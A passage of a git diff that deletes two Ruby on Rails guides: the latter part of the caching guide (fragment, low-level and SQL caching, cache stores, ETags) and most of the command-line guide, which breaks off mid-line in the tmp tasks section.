-Page caching is a Rails mechanism which allows the request for a generated page -to be fulfilled by the webserver (i.e. Apache or NGINX) without having to go -through the entire Rails stack. While this is super fast it can't be applied to -every situation (such as pages that need authentication). Also, because the -webserver is serving a file directly from the filesystem you will need to -implement cache expiration. - -INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). - -### Action Caching - -Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy. - -INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. - -### Fragment Caching - -Dynamic web applications usually build pages with a variety of components not -all of which have the same caching characteristics. When different parts of the -page need to be cached and expired separately you can use Fragment Caching. - -Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in. - -For example, if you wanted to cache each product on a page, you could use this -code: - -```html+erb -<% @products.each do |product| %> - <% cache product do %> - <%= render product %> - <% end %> -<% end %> -``` - -When your application receives its first request to this page, Rails will write -a new cache entry with a unique key. A key looks something like this: - -``` -views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 -``` - -The number in the middle is the `product_id` followed by the timestamp value in -the `updated_at` attribute of the product record. Rails uses the timestamp value -to make sure it is not serving stale data. If the value of `updated_at` has -changed, a new key will be generated. Then Rails will write a new cache to that -key, and the old cache written to the old key will never be used again. This is -called key-based expiration. - -Cache fragments will also be expired when the view fragment changes (e.g., the -HTML in the view changes). The string of characters at the end of the key is a -template tree digest. It is an MD5 hash computed based on the contents of the -view fragment you are caching. If you change the view fragment, the MD5 hash -will change, expiring the existing file. - -TIP: Cache stores like Memcached will automatically delete old cache files. - -If you want to cache a fragment under certain conditions, you can use -`cache_if` or `cache_unless`: - -```erb -<% cache_if admin?, product do %> - <%= render product %> -<% end %> -``` - -#### Collection caching - -The `render` helper can also cache individual templates rendered for a collection. -It can even one up the previous example with `each` by reading all cache -templates at once instead of one by one. This is done by passing `cached: true` when rendering the collection: - -```html+erb -<%= render partial: 'products/product', collection: @products, cached: true %> -``` - -All cached templates from previous renders will be fetched at once with much -greater speed. Additionally, the templates that haven't yet been cached will be -written to cache and multi fetched on the next render. - - -### Russian Doll Caching - -You may want to nest cached fragments inside other cached fragments. This is -called Russian doll caching. - -The advantage of Russian doll caching is that if a single product is updated, -all the other inner fragments can be reused when regenerating the outer -fragment. - -As explained in the previous section, a cached file will expire if the value of -`updated_at` changes for a record on which the cached file directly depends. -However, this will not expire any cache the fragment is nested within. - -For example, take the following view: - -```erb -<% cache product do %> - <%= render product.games %> -<% end %> -``` - -Which in turn renders this view: - -```erb -<% cache game do %> - <%= render game %> -<% end %> -``` - -If any attribute of game is changed, the `updated_at` value will be set to the -current time, thereby expiring the cache. However, because `updated_at` -will not be changed for the product object, that cache will not be expired and -your app will serve stale data. To fix this, we tie the models together with -the `touch` method: - -```ruby -class Product < ApplicationRecord - has_many :games -end - -class Game < ApplicationRecord - belongs_to :product, touch: true -end -``` - -With `touch` set to true, any action which changes `updated_at` for a game -record will also change it for the associated product, thereby expiring the -cache. - -### Managing dependencies - -In order to correctly invalidate the cache, you need to properly define the -caching dependencies. Rails is clever enough to handle common cases so you don't -have to specify anything. However, sometimes, when you're dealing with custom -helpers for instance, you need to explicitly define them. - -#### Implicit dependencies - -Most template dependencies can be derived from calls to `render` in the template -itself. Here are some examples of render calls that `ActionView::Digestor` knows -how to decode: - -```ruby -render partial: "comments/comment", collection: commentable.comments -render "comments/comments" -render 'comments/comments' -render('comments/comments') - -render "header" translates to render("comments/header") - -render(@topic) translates to render("topics/topic") -render(topics) translates to render("topics/topic") -render(message.topics) translates to render("topics/topic") -``` - -On the other hand, some calls need to be changed to make caching work properly. -For instance, if you're passing a custom collection, you'll need to change: - -```ruby -render @project.documents.where(published: true) -``` - -to: - -```ruby -render partial: "documents/document", collection: @project.documents.where(published: true) -``` - -#### Explicit dependencies - -Sometimes you'll have template dependencies that can't be derived at all. This -is typically the case when rendering happens in helpers. Here's an example: - -```html+erb -<%= render_sortable_todolists @project.todolists %> -``` - -You'll need to use a special comment format to call those out: - -```html+erb -<%# Template Dependency: todolists/todolist %> -<%= render_sortable_todolists @project.todolists %> -``` - -In some cases, like a single table inheritance setup, you might have a bunch of -explicit dependencies. Instead of writing every template out, you can use a -wildcard to match any template in a directory: - -```html+erb -<%# Template Dependency: events/* %> -<%= render_categorizable_events @person.events %> -``` - -As for collection caching, if the partial template doesn't start with a clean -cache call, you can still benefit from collection caching by adding a special -comment format anywhere in the template, like: - -```html+erb -<%# Template Collection: notification %> -<% my_helper_that_calls_cache(some_arg, notification) do %> - <%= notification.name %> -<% end %> -``` - -#### External dependencies - -If you use a helper method, for example, inside a cached block and you then update -that helper, you'll have to bump the cache as well. It doesn't really matter how -you do it, but the MD5 of the template file must change. One recommendation is to -simply be explicit in a comment, like: - -```html+erb -<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %> -<%= some_helper_method(person) %> -``` - -### Low-Level Caching - -Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing __any__ kind of information. - -The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block. - -Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching: - -```ruby -class Product < ApplicationRecord - def competing_price - Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do - Competitor::API.find_price(id) - end - end -end -``` - -NOTE: Notice that in this example we used the `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key. - -### SQL Caching - -Query caching is a Rails feature that caches the result set returned by each -query. If Rails encounters the same query again for that request, it will use -the cached result set as opposed to running the query against the database -again. - -For example: - -```ruby -class ProductsController < ApplicationController - - def index - # Run a find query - @products = Product.all - - ... - - # Run the same query again - @products = Product.all - end - -end -``` - -The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory. - -However, it's important to note that query caches are created at the start of -an action and destroyed at the end of that action and thus persist only for the -duration of the action. If you'd like to store query results in a more -persistent fashion, you can with low level caching. - -Cache Stores ------------- - -Rails provides different stores for the cached data (apart from SQL and page -caching). - -### Configuration - -You can set up your application's default cache store by setting the -`config.cache_store` configuration option. Other parameters can be passed as -arguments to the cache store's constructor: - -```ruby -config.cache_store = :memory_store, { size: 64.megabytes } -``` - -NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block. - -You can access the cache by calling `Rails.cache`. - -### ActiveSupport::Cache::Store - -This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below. - -The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists. - -There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. - -* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. - -* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. - -* `:compress_threshold` - This option is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes. - -* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache. - -* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option. - -#### Custom Cache Stores - -You can create your own custom cache store by simply extending -`ActiveSupport::Cache::Store` and implementing the appropriate methods. This way, -you can swap in any number of caching technologies into your Rails application. - -To use a custom cache store, simply set the cache store to a new instance of your -custom class. - -```ruby -config.cache_store = MyCacheStore.new -``` - -### ActiveSupport::Cache::MemoryStore - -This cache store keeps entries in memory in the same Ruby process. The cache -store has a bounded size specified by sending the `:size` option to the -initializer (default is 32Mb). When the cache exceeds the allotted size, a -cleanup will occur and the least recently used entries will be removed. - -```ruby -config.cache_store = :memory_store, { size: 64.megabytes } -``` - -If you're running multiple Ruby on Rails server processes (which is the case -if you're using Phusion Passenger or puma clustered mode), then your Rails server -process instances won't be able to share cache data with each other. This cache -store is not appropriate for large application deployments. However, it can -work well for small, low traffic sites with only a couple of server processes, -as well as development and test environments. - -### ActiveSupport::Cache::FileStore - -This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache. - -```ruby -config.cache_store = :file_store, "/path/to/cache/directory" -``` - -With this cache store, multiple server processes on the same host can share a -cache. This cache store is appropriate for low to medium traffic sites that are -served off one or two hosts. Server processes running on different hosts could -share a cache by using a shared file system, but that setup is not recommended. - -As the cache will grow until the disk is full, it is recommended to -periodically clear out old entries. - -This is the default cache store implementation. - -### ActiveSupport::Cache::MemCacheStore - -This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy. - -When initializing the cache, you need to specify the addresses for all -memcached servers in your cluster. If none are specified, it will assume -memcached is running on localhost on the default port, but this is not an ideal -setup for larger sites. - -The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry. - -```ruby -config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" -``` - -### ActiveSupport::Cache::NullStore - -This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache` but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss. - -```ruby -config.cache_store = :null_store -``` - -Cache Keys ----------- - -The keys used in a cache can be any object that responds to either `cache_key` or -`to_param`. You can implement the `cache_key` method on your classes if you need -to generate custom keys. Active Record will generate keys based on the class name -and record id. - -You can use Hashes and Arrays of values as cache keys. - -```ruby -# This is a legal cache key -Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) -``` - -The keys you use on `Rails.cache` will not be the same as those actually used with -the storage engine. They may be modified with a namespace or altered to fit -technology backend constraints. This means, for instance, that you can't save -values with `Rails.cache` and then try to pull them out with the `dalli` gem. -However, you also don't need to worry about exceeding the memcached size limit or -violating syntax rules. - -Conditional GET support ------------------------ - -Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. - -They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status. - -It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task: - -```ruby -class ProductsController < ApplicationController - - def show - @product = Product.find(params[:id]) - - # If the request is stale according to the given timestamp and etag value - # (i.e. it needs to be processed again) then execute this block - if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key) - respond_to do |wants| - # ... normal response processing - end - end - - # If the request is fresh (i.e. it's not modified) then you don't need to do - # anything. The default render checks for this using the parameters - # used in the previous call to stale? and will automatically send a - # :not_modified. So that's it, you're done. - end -end -``` - -Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: - -```ruby -class ProductsController < ApplicationController - def show - @product = Product.find(params[:id]) - - if stale?(@product) - respond_to do |wants| - # ... normal response processing - end - end - end -end -``` - -If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`: - -```ruby -class ProductsController < ApplicationController - - # This will automatically send back a :not_modified if the request is fresh, - # and will render the default template (product.*) if it's stale. - - def show - @product = Product.find(params[:id]) - fresh_when last_modified: @product.published_at.utc, etag: @product - end -end -``` - -Sometimes we want to cache response, for example a static page, that never gets -expired. To achieve this, we can use `http_cache_forever` helper and by doing -so browser and proxies will cache it indefinitely. - -By default cached responses will be private, cached only on the user's web -browser. To allow proxies to cache the response, set `public: true` to indicate -that they can serve the cached response to all users. - -Using this helper, `last_modified` header is set to `Time.new(2011, 1, 1).utc` -and `expires` header is set to a 100 years. - -WARNING: Use this method carefully as browser/proxy won't be able to invalidate -the cached response unless browser cache is forcefully cleared. - -```ruby -class HomeController < ApplicationController - def index - http_cache_forever(public: true) do - render - end - end -end -``` - -### Strong v/s Weak ETags - -Rails generates weak ETags by default. Weak ETags allow semantically equivalent -responses to have the same ETags, even if their bodies do not match exactly. -This is useful when we don't want the page to be regenerated for minor changes in -response body. - -Weak ETags have a leading `W/` to differentiate them from strong ETags. - -``` - W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag - "618bbc92e2d35ea1945008b42799b0e7" → Strong ETag -``` - -Unlike weak ETag, strong ETag implies that response should be exactly the same -and byte by byte identical. Useful when doing Range requests within a -large video or PDF file. Some CDNs support only strong ETags, like Akamai. -If you absolutely need to generate a strong ETag, it can be done as follows. - -```ruby - class ProductsController < ApplicationController - def show - @product = Product.find(params[:id]) - fresh_when last_modified: @product.published_at.utc, strong_etag: @product - end - end -``` - -You can also set the strong ETag directly on the response. - -```ruby - response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7" -``` - -Caching in Development ----------------------- - -It's common to want to test the caching strategy of your application -in developement mode. Rails provides the rake task `dev:cache` to -easily toggle caching on/off. - -```bash -$ bin/rails dev:cache -Development mode is now being cached. -$ bin/rails dev:cache -Development mode is no longer being cached. -``` - -References ----------- - -* [DHH's article on key-based expiration](https://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) -* [Ryan Bates' Railscast on cache digests](http://railscasts.com/episodes/387-cache-digests) diff --git a/source/command_line.md b/source/command_line.md deleted file mode 100644 index 3360496..0000000 --- a/source/command_line.md +++ /dev/null @@ -1,657 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -The Rails Command Line -====================== - -After reading this guide, you will know: - -* How to create a Rails application. -* How to generate models, controllers, database migrations, and unit tests. -* How to start a development server. -* How to experiment with objects through an interactive shell. - --------------------------------------------------------------------------------- - -NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html). - -Command Line Basics -------------------- - -There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are: - -* `rails console` -* `rails server` -* `bin/rails` -* `rails generate` -* `rails dbconsole` -* `rails new app_name` - -All commands can run with `-h` or `--help` to list more information. - -Let's create a simple Rails application to step through each of these commands in context. - -### `rails new` - -The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails. - -INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already. - -```bash -$ rails new commandsapp - create - create README.md - create Rakefile - create config.ru - create .gitignore - create Gemfile - create app - ... - create tmp/cache - ... - run bundle install -``` - -Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. - -### `rails server` - -The `rails server` command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser. - -With no further work, `rails server` will run our new shiny Rails app: - -```bash -$ cd commandsapp -$ bin/rails server -=> Booting Puma -=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000 -=> Run `rails server -h` for more startup options -Puma starting in single mode... -* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas -* Min threads: 5, max threads: 5 -* Environment: development -* Listening on tcp://localhost:3000 -Use Ctrl-C to stop -``` - -With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. - -INFO: You can also use the alias "s" to start the server: `rails s`. - -The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`. - -```bash -$ bin/rails server -e production -p 4000 -``` - -The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option. - -### `rails generate` - -The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators: - -INFO: You can also use the alias "g" to invoke the generator command: `rails g`. - -```bash -$ bin/rails generate -Usage: rails generate GENERATOR [args] [options] - -... -... - -Please choose a generator below. - -Rails: - assets - controller - generator - ... - ... -``` - -NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! - -Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work. - -Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: - -INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`. - -```bash -$ bin/rails generate controller -Usage: rails generate controller NAME [action action] [options] - -... -... - -Description: - ... - - To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'. - - ... - -Example: - `rails generate controller CreditCards open debit credit close` - - Credit card controller with URLs like /credit_cards/debit. - Controller: app/controllers/credit_cards_controller.rb - Test: test/controllers/credit_cards_controller_test.rb - Views: app/views/credit_cards/debit.html.erb [...] - Helper: app/helpers/credit_cards_helper.rb -``` - -The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us. - -```bash -$ bin/rails generate controller Greetings hello - create app/controllers/greetings_controller.rb - route get "greetings/hello" - invoke erb - create app/views/greetings - create app/views/greetings/hello.html.erb - invoke test_unit - create test/controllers/greetings_controller_test.rb - invoke helper - create app/helpers/greetings_helper.rb - invoke assets - invoke coffee - create app/assets/javascripts/greetings.coffee - invoke scss - create app/assets/stylesheets/greetings.scss -``` - -What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file. - -Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`): - -```ruby -class GreetingsController < ApplicationController - def hello - @message = "Hello, how are you today?" - end -end -``` - -Then the view, to display our message (in `app/views/greetings/hello.html.erb`): - -```erb -

A Greeting for You!

-

<%= @message %>

-``` - -Fire up your server using `rails server`. - -```bash -$ bin/rails server -=> Booting Puma... -``` - -The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello). - -INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller. - -Rails comes with a generator for data models too. - -```bash -$ bin/rails generate model -Usage: - rails generate model NAME [field[:type][:index] field[:type][:index]] [options] - -... - -Active Record options: - [--migration] # Indicates when to generate migration - # Default: true - -... - -Description: - Create rails files for model generator. -``` - -NOTE: For a list of available field types for the `type` parameter, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) for the add_column method for the `SchemaStatements` module. The `index` parameter generates a corresponding index for the column. - -But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. - -We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. - -```bash -$ bin/rails generate scaffold HighScore game:string score:integer - invoke active_record - create db/migrate/20130717151933_create_high_scores.rb - create app/models/high_score.rb - invoke test_unit - create test/models/high_score_test.rb - create test/fixtures/high_scores.yml - invoke resource_route - route resources :high_scores - invoke scaffold_controller - create app/controllers/high_scores_controller.rb - invoke erb - create app/views/high_scores - create app/views/high_scores/index.html.erb - create app/views/high_scores/edit.html.erb - create app/views/high_scores/show.html.erb - create app/views/high_scores/new.html.erb - create app/views/high_scores/_form.html.erb - invoke test_unit - create test/controllers/high_scores_controller_test.rb - invoke helper - create app/helpers/high_scores_helper.rb - invoke jbuilder - create app/views/high_scores/index.json.jbuilder - create app/views/high_scores/show.json.jbuilder - invoke assets - invoke coffee - create app/assets/javascripts/high_scores.coffee - invoke scss - create app/assets/stylesheets/high_scores.scss - invoke scss - identical app/assets/stylesheets/scaffolds.scss -``` - -The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. - -The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `bin/rails db:migrate` command. We'll talk more about bin/rails in-depth in a little while. - -```bash -$ bin/rails db:migrate -== CreateHighScores: migrating =============================================== --- create_table(:high_scores) - -> 0.0017s -== CreateHighScores: migrated (0.0019s) ====================================== -``` - -INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions -about code. In unit testing, we take a little part of code, say a method of a model, -and test its inputs and outputs. Unit tests are your friend. The sooner you make -peace with the fact that your quality of life will drastically increase when you unit -test your code, the better. Seriously. Please visit -[the testing guide](http://guides.rubyonrails.org/testing.html) for an in-depth -look at unit testing. - -Let's see the interface Rails created for us. - -```bash -$ bin/rails server -``` - -Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!) - -### `rails console` - -The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. - -INFO: You can also use the alias "c" to invoke the console: `rails c`. - -You can specify the environment in which the `console` command should operate. - -```bash -$ bin/rails console staging -``` - -If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`. - -```bash -$ bin/rails console --sandbox -Loading development environment in sandbox (Rails 5.1.0) -Any modifications you make will be rolled back on exit -irb(main):001:0> -``` - -#### The app and helper objects - -Inside the `rails console` you have access to the `app` and `helper` instances. - -With the `app` method you can access url and path helpers, as well as do requests. - -```bash ->> app.root_path -=> "/" - ->> app.get _ -Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300 -... -``` - -With the `helper` method it is possible to access Rails and your application's helpers. - -```bash ->> helper.time_ago_in_words 30.days.ago -=> "about 1 month" - ->> helper.my_custom_helper -=> "my custom helper" -``` - -### `rails dbconsole` - -`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL and SQLite3. - -INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`. - -### `rails runner` - -`runner` runs Ruby code in the context of Rails non-interactively. For instance: - -```bash -$ bin/rails runner "Model.long_running_method" -``` - -INFO: You can also use the alias "r" to invoke the runner: `rails r`. - -You can specify the environment in which the `runner` command should operate using the `-e` switch. - -```bash -$ bin/rails runner -e staging "Model.long_running_method" -``` - -You can even execute ruby code written in a file with runner. - -```bash -$ bin/rails runner lib/code_to_be_run.rb -``` - -### `rails destroy` - -Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. - -INFO: You can also use the alias "d" to invoke the destroy command: `rails d`. - -```bash -$ bin/rails generate model Oops - invoke active_record - create db/migrate/20120528062523_create_oops.rb - create app/models/oops.rb - invoke test_unit - create test/models/oops_test.rb - create test/fixtures/oops.yml -``` -```bash -$ bin/rails destroy model Oops - invoke active_record - remove db/migrate/20120528062523_create_oops.rb - remove app/models/oops.rb - invoke test_unit - remove test/models/oops_test.rb - remove test/fixtures/oops.yml -``` - -bin/rails ---------- - -Since Rails 5.0+ has rake commands built into the rails executable, `bin/rails` is the new default for running commands. - -You can get a list of bin/rails tasks available to you, which will often depend on your current directory, by typing `bin/rails --help`. Each task has a description, and should help you find the thing you need. - -```bash -$ bin/rails --help -Usage: rails COMMAND [ARGS] - -The most common rails commands are: -generate Generate new code (short-cut alias: "g") -console Start the Rails console (short-cut alias: "c") -server Start the Rails server (short-cut alias: "s") -... - -All commands can be run with -h (or --help) for more information. - -In addition to those commands, there are: -about List versions of all Rails ... -assets:clean[keep] Remove old compiled assets -assets:clobber Remove compiled assets -assets:environment Load asset compile environment -assets:precompile Compile all the assets ... -... -db:fixtures:load Loads fixtures into the ... -db:migrate Migrate the database ... -db:migrate:status Display status of migrations -db:rollback Rolls the schema back to ... -db:schema:cache:clear Clears a db/schema_cache.yml file -db:schema:cache:dump Creates a db/schema_cache.yml file -db:schema:dump Creates a db/schema.rb file ... -db:schema:load Loads a schema.rb file ... -db:seed Loads the seed data ... -db:structure:dump Dumps the database structure ... -db:structure:load Recreates the databases ... -db:version Retrieves the current schema ... -... -restart Restart app by touching ... -tmp:create Creates tmp directories ... -``` -INFO: You can also use `bin/rails -T` to get the list of tasks. - -### `about` - -`bin/rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. - -```bash -$ bin/rails about -About your application's environment -Rails version 5.1.0 -Ruby version 2.2.2 (x86_64-linux) -RubyGems version 2.4.6 -Rack version 2.0.1 -JavaScript Runtime Node.js (V8) -Middleware: Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag -Application root /home/foobar/commandsapp -Environment development -Database adapter sqlite3 -Database schema version 20110805173523 -``` - -### `assets` - -You can precompile the assets in `app/assets` using `bin/rails assets:precompile`, and remove older compiled assets using `bin/rails assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built. - -If you want to clear `public/assets` completely, you can use `bin/rails assets:clobber`. - -### `db` - -The most common tasks of the `db:` bin/rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration bin/rails tasks (`up`, `down`, `redo`, `reset`). `bin/rails db:version` is useful when troubleshooting, telling you the current version of the database. - -More information about migrations can be found in the [Migrations](active_record_migrations.html) guide. - -### `notes` - -`bin/rails notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations. - -```bash -$ bin/rails notes -(in /home/foobar/commandsapp) -app/controllers/admin/users_controller.rb: - * [ 20] [TODO] any other way to do this? - * [132] [FIXME] high priority for next deploy - -app/models/school.rb: - * [ 13] [OPTIMIZE] refactor this code to make it faster - * [ 17] [FIXME] -``` - -You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up. - -```ruby -config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } -``` - -If you are looking for a specific annotation, say FIXME, you can use `bin/rails notes:fixme`. Note that you have to lower case the annotation's name. - -```bash -$ bin/rails notes:fixme -(in /home/foobar/commandsapp) -app/controllers/admin/users_controller.rb: - * [132] high priority for next deploy - -app/models/school.rb: - * [ 17] -``` - -You can also use custom annotations in your code and list them using `bin/rails notes:custom` by specifying the annotation using an environment variable `ANNOTATION`. - -```bash -$ bin/rails notes:custom ANNOTATION=BUG -(in /home/foobar/commandsapp) -app/models/article.rb: - * [ 23] Have to fix this one before pushing! -``` - -NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines. - -By default, `rails notes` will look in the `app`, `config`, `db`, `lib` and `test` directories. If you would like to search other directories, you can configure them using `config.annotations.register_directories` option. - -```ruby -config.annotations.register_directories("spec", "vendor") -``` - -You can also provide them as a comma separated list in the environment variable `SOURCE_ANNOTATION_DIRECTORIES`. - -```bash -$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor' -$ bin/rails notes -(in /home/foobar/commandsapp) -app/models/user.rb: - * [ 35] [FIXME] User should have a subscription at this point -spec/models/user_spec.rb: - * [122] [TODO] Verify the user that has a subscription works -``` - -### `routes` - -`rails routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. - -### `test` - -INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html) - -Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. - -### `tmp` - -The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions. - -The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory: - -* `rails tmp:cache:clear` clears `tmp/cache`. -* `rails tmp:sockets:clear` clears `tmp/sockets`. -* `rails tmp:clear` clears all cache and sockets files. -* `rails 